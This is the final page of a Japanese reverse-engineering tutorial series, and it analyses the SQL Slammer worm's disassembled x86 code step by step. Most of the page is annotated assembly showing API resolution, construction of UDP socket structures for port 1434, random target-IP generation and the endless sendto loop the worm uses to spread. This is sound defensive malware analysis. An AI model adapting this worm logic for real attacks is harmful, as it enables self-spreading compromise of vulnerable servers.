SQL Slammerのコードを解析せよ!リバースエンジニアリング入門(最終回)(3/3 ページ)

» 2012年07月04日 00時00分 公開
[川古谷裕平日本電信電話株式会社]
前のページへ 1|2|3       

参照先を確認しながらコードを追跡

 ここからSQL Slammerは、このスタック上に準備した文字列に、ebpからのオフセットを使ってアクセスしながら動作していきます。「ebp-○□h」がスタック上のどのデータを参照しているか、注意しながらコードを追いかけていきましょう。

seg000:0000012B mov     esi, 42AE1018h	; LoadLibraryAのIATエントリのアドレスをesiに格納
seg000:00000130 lea     eax, [ebp-2Ch]	; ebp-2Ch="ws2_32.dll"へのポインタをeaxに格納
seg000:00000133 push    eax 
seg000:00000134 call    dword ptr [esi]	; LoadLibraryA('ws2_32.dll')を実行
seg000:00000136 push    eax		; ws2_32.dllのアドレスをスタックに積む

 まずesiに42AE1018hを代入しています。これは、sqlsort.dllの「LoadLibraryA」を指すIATエントリのアドレスになります。つまり、42AE1018hのアドレスには、LoadLibraryAのアドレスが格納されています。

 次に、ebp-2Ch(図7を参照すると、文字列“ws2_32.dll”のアドレス)をeaxに格納後、スタックにpushしています。これを引数としてLoadLibraryAを間接コールしています。LoadLibraryAの実行結果(つまり、ws2_32.dllのベースアドレス)はeaxに格納されます。このeaxをスタック上にpushし、後ほどGetProcAddressを呼び出すのに利用します。

 次のコードブロックは前のコードブロックとほぼ同じ動作をします。

seg000:00000137  lea     eax, [ebp-20h] ; 'GetTickCount'へのポインタをeaxに格納
seg000:0000013A  push    eax		;
seg000:0000013B  lea     eax, [ebp-10h]	; 'kernel32.dll'へのポインタをeaxに格納
seg000:0000013E  push    eax
seg000:0000013F  call    dword ptr [esi]; LoadLibraryA('kernel32.dll')を呼び出す
seg000:00000141  push    eax		; kernel32.dllのベースアドレスをスタックに積む

 seg000:00000137〜seg000:0000013Aで、ebp-20h、つまり“GetTickCount”へのポ

インタをスタックに積んだ後、LoadLibraryAを呼び出し、“kernel32.dll”のロー

ドアドレスを取得し(eaxに格納)、それをスタックに積みます。

 このコードブロック実行後のスタックは、図8のような形になっています。

図8 スタックの様子(4) 図8 スタックの様子(4)

 次のコードブロックでは、GetProcAddressを呼び出して、GetTickCountのアドレスを取得します。

seg000:00000142 mov     esi, 42AE1010h	; sqlsort.dllのIATエントリのアドレスをesiに格納
seg000:00000147 mov     ebx, [esi]	; IATエントリの値をebxに格納
seg000:00000149 mov     eax, [ebx]	; ebxが指しているアドレスから4バイトをeaxに格納
seg000:0000014B cmp     eax, 51EC8B55h	; eaxと51EC8B55hを比較
seg000:00000150 jz      short loc_157	; 一致したらloc_157へジャンプ
seg000:00000152 mov     esi, 42AE101Ch	; 一致しなかったらesiに42AE101Chを格納
seg000:00000157
seg000:00000157 loc_157: 
seg000:00000157 call    dword ptr [esi]	; esi=GetProcAddressのIATエントリアドレスを間接コールする。GetProcAddress(base addr of kernel32.dll, 'GetTickCount')。

 このコードブロックでは、GetProcAddressを呼び出す前に、実行環境のバージョンのチェックを行います。MS02-039の脆弱性はMicrosoft SQL Server 2000(Microsoft Desktop Engine 2000)のSP1とSP2の両方とも影響を受けますが、GetProcAddressのアドレスを格納しているIATエントリの位置がSP1とSP2で若干異なります。seg000:0000014B〜seg000:00000150でバージョンに応じたIATエントリのアドレスを調整し、seg000:00000157でGetProcAddressを間接コールしています。

 次に、後で攻撃パケットを送信する際に使うデータ構造体をスタック上に構築します。ここでは、struct sockaddr_in構造体を構築しています。sockaddr_in構造体の定義を以下に示します。

struct sockaddr_in {
    short   sin_family;
    u_short sin_port;
    struct  in_addr sin_addr;
    char    sin_zero[8];
};
seg000:00000159 call    eax		; GetTickCountを実行
seg000:0000015B xor     ecx, ecx	; ecxを0クリア
seg000:0000015D push    ecx		; 00000000hをスタックに積む
seg000:0000015E push    ecx		; 00000000hをスタックに積む
seg000:0000015F push    eax		; GetTickCountの実行結果をスタックに積む
seg000:00000160 xor     ecx, 9B040103h	; 0 XOR 9B040103h = 9B040103h
seg000:00000166 xor     ecx, 1010101h	; 9B040103h XOR 01010101h =9A050002h
seg000:0000016C push    ecx		; 9A050002hをスタックに積む

 このコードブロックでは、sin_familyが0002(AF_INET)、sin_portが9A05h(ネットワークバイトオーダを考慮し、10進数にすると1434)となるように9A050002hをスタックに積んでいます。さらに、sin_addrにはGetTickCountの戻り値が入り、sin_zero[8]はseg000:0000015Dとseg000:0000015Eの命令によって0がセットされます。

 このコードブロックを実行した後のスタックの状況は、図9になります。

図9 スタックの様子(5)(クリックすると拡大します) 図9 スタックの様子(5)(クリックすると拡大します)

 次のコードブロックは、これまでに何度か出てきているコードとほぼ同じです。socket APIのアドレスをGetProcAddressで取得しています。

seg000:0000016D lea     eax, [ebp-34h]		; 'socket'へのポインタ
seg000:00000170 push    eax
seg000:00000171 mov     eax, [ebp-40h]		; ws2_32.dllのベースアドレス
seg000:00000174 push    eax
seg000:00000175 call    dword ptr [esi]		; GetProcAddress(base addr of ws2_32.dll, 'socket')

 次のコードブロックは、seg000:0000017Dのcall eaxでsocket APIを呼び出しています。socket APIを呼び出す前にスタックに引数を積んでいます。socket APIのプロトタイプをMSDN で確認してみると、

SOCKET WSAAPI socket(
  __in  int af,
  __in  int type,
  __in  int protocol
);

 となっています。これを踏まえたうえで、コードを見てみます。

seg000:00000177 push    11h		; protocol = 11h( IPPROTO_UDP)
seg000:00000179 push    2		; type = 2 (SOCK_DGRAM)
seg000:0000017B push    2		; af = 2 (AF_INET)
seg000:0000017D call    eax		; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
seg000:0000017F push    eax		; socket の戻り値をスタックに積んでいる

 このコードブロック実行後のスタックは図10のようになっています。

図10 スタックの様子(6) 図10 スタックの様子(6)

 次のコードブロックはsendtoのアドレスを取得して、esiに格納しています。

seg000:00000180 lea     eax, [ebp-3Ch]	; 'sendto'へのポインタをeaxに格納
seg000:00000183 push    eax
seg000:00000184 mov     eax, [ebp-40h]	; 'ws2_32.dll’のベースアドレスをeaxに格納
seg000:00000187 push    eax
seg000:00000188 call    dword ptr [esi]	; GetProcAddress(base addr of ws2_32.dll, 'sendto')
seg000:0000018A mov     esi, eax	; sendtoのアドレスをesiに格納
seg000:0000018C or      ebx, ebx	; ebxを0クリア
seg000:0000018E xor     ebx, 0FFD9613Ch	; ebx=FFD9613Ch

 これで攻撃のための準備が整いましたので、sendtoを使って攻撃パケットを送信します。まずは送信先(攻撃対象のIPアドレス)を決定しています。GetTickCountの戻り値をシードとして以下の計算を行い、ランダムなIPアドレスを生成しています。

seg000:00000194 loc_194:                       
seg000:00000194 mov     eax, [ebp-4Ch] 		; GetTickCount()の結果をeax
seg000:00000197 lea     ecx, [eax+eax*2] 	; ecx = eax+eax*2
seg000:0000019A lea     edx, [eax+ecx*4] 	; edx=eac+ecx*4
seg000:0000019D shl     edx, 4 			; edxの値を4ビット左シフト
seg000:000001A0 add     edx, eax		; edx = edx + eax
seg000:000001A2 shl     edx, 8 			; edxの値を8ビット左シフト
seg000:000001A5 sub     edx, eax 		; edx = edx - eax
seg000:000001A7 lea     eax, [eax+edx*4]	; eax = eax + edx * 4
seg000:000001AA add     eax, ebx		; eax = eax + ebx
seg000:000001AC mov     [ebp-4Ch], eax		; eaxの値をebp-4chに格納

 送信先のIPアドレスが決定したら、次にsendtoでパケットを送信します。ここで利用しているsendtoのプロトタイプは、MSDNによると以下のようになっています。

int sendto(
  __in  SOCKET s,
  __in  const char *buf,
  __in  int len,
  __in  int flags,
  __in  const struct sockaddr *to,
  __in  int tolen
);

 このプロトタイプを参考にして、スタックに積まれている値を見ていきます。

seg000:000001AF push    10h		; sendtoの引数tolen
seg000:000001B1 lea     eax, [ebp-50h]
seg000:000001B4 push    eax		; sockaddr_inへのポインタ(ebp-50h) をsendtoの引数*toとしてスタックに積む
seg000:000001B5 xor     ecx, ecx	; ecxを0クリア
seg000:000001B7 push    ecx 		; flagsとしてスタックに00000000hを積む
seg000:000001B8 xor     cx, 178h	; 0 xor 178h = 178h
seg000:000001BD push    ecx		; lenとして178hを積む
seg000:000001BE lea     eax, [ebp+3]	; ebp+3を送信するバッファとして指定する
seg000:000001C1 push    eax
seg000:000001C2 mov     eax, [ebp-54h]	; socket()の戻り値をスタックに積む
seg000:000001C5 push    eax
seg000:000001C6 call    esi 		; sendto(socketの結果、ebp+3、178h, 0, sockaddr_in構造体へのポインタ、10h)
seg000:000001C8 jmp     short loc_194	; 送信が終わるとloc_194へ戻り、IPアドレスを変えつつひたすらsendtoを実行し、感染活動を行います。

 引数の準備が完了したら、sendtoを実行し、ebp+3以降のメモリ上のデータを178hバイト(376バイト)送信しています。ebp+3からのスタック上のデータと、SQL SlammerのPcapのペイロードの値を比べてみると、一致していることが分かると思います。

終わりに――これからもLet's 逆アセンブル!!

 今回は2003年に実際に世間を騒がせたマルウェア、SQL Slammerを題材にして解析を行ってきました。コード自体は今まで解析してきたシェルコードと大差がないため、割とすんなり読みこなせたのではないでしょうか?

 アセンブラを読みこなすことで、SQL SlammerのIPアドレス生成アルゴリズムを解明し、その詳細な動作の仕組みや削除の方法(実はメモリ上で動作しているだけなので電源を切れば消えてしまう)などを理解できると思います。


 全7回でお送りしてきましたリバースエンジニアリング入門も、今回で最終回になります。

 第1回でも述べましたが、リバースエンジニアリング技術は、いまやマルウェアや攻撃コードの真髄を見抜くのに必須の技術といっても過言ではないと思います。高度化する攻撃側に対抗するためには、防御側もこの技術を身につけ、高度なセキュリティ技術を確立していく必要があります。今回の連載により、1人でも多くの方がリバースエンジニアリング技術に興味を持ち、その一歩を踏み出すきっかけにしていただけたら幸いです。

 それでは、Let's 逆アセンブル!!

お知らせ

本連載の中でも利用しているMetasploitを体系的に解説した書籍、「実践Metasploit」(オライリー・ジャパン)が好評発売中です。本連載の著者陣も監訳を担当しています。本連載の中では紹介しきれなかったさまざまなMetasploitの機能を解説しています。

関連記事:あなたなら、自社システムをどう攻撃する?(@IT情報マネジメント)
オライリー・ジャパン:http://www.oreilly.co.jp/books/9784873115382/
アマゾン:http://www.amazon.co.jp/dp/4873115388


筆者紹介

NTT情報流通プラットフォーム研究所

川古谷 裕平(かわこや ゆうへい)

2005年 日本電信電話株式会社入社。入社以来、ハニーポット技術やマルウェア解析技術の研究開発に従事。国内外のカンファレンスや学会で研究成果の発表を行っている。「アナライジング・マルウェア」の著者。


前のページへ 1|2|3       

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。